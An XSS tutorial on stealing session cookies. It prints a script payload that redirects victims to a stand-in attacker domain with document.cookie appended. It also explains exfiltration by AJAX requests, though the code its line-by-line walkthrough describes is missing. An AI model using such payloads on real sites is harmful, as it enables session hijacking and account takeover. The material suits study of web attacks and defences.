On a web page, cookies can be accessed using the following javascript syntax:

*document.cookie*

Having this payload executed alone would not be not beneficial to an attacker. They’ve managed to access the cookie, but how would they actually retrieve it? A common method is to redirect a user to a domain including the cookie as a parameter. This is done using:

*<script>window.location = ‘attacker-web-site.com/page?param=’ + document.cookie </script>*

Here window.location redirects the user to the attacker controlled web site and passes in the cookie as a parameter. The attacker can then access the server log, retrieve this cookie and log in as the user. This isn’t the only way of retrieving the cookie:

• Make an XML HTTP request to an attacker controlled domain:
  • This is more stealthy as you wouldn’t have to redirect the user to a different page
• Make the cookie visible to an attacker:
  • If you manage to get XSS on some sort of forum/message, you can re-create the request used to add data to these pages. Once an attacker visits these pages, they can just view the cookie

Making Requests

As mentioned above, extracting a cookie using a request is quite common. These requests can be either GET or POST, and are usually done using AJAX(Asynchronous Javascript). This works well because AJAX can interact with a server in the background(there’s no need to update or reload a page).

Here the first line creates the XML HTTP request and stores it in the variable. The second line uses the open function to initialise the variable. It tells the browser what method to use(get or post), what path to send it to(in this case ‘/location’), and whether the request is asynchronous(true or false). In most cases, we want the request to be asynchronous so that the browser page doesn’t reload and the request is sent in the background. Line 3 is optional and sets the content type header to ensure that the browser is sending data in a format that the server needs. Line 4 actually sends the request - the [body-param] is only necessary for a POST request and can have different formats(like JSON).

When injecting this payload into a page, we won’t be able to separate them like shown above. So we’d put everything on one line(which is why the semicolons at the end of each line is important. Semicolons are used to indicate that a request is complete).

Before making an AJAX call, it’s important to know the format of the request. You can look at what exactly is involved in a request using Burp. Alternatively, you can open the developers tool and keep the network tab open will you carry out request.

The network tab shows you all the headers for the request and will even show you response information.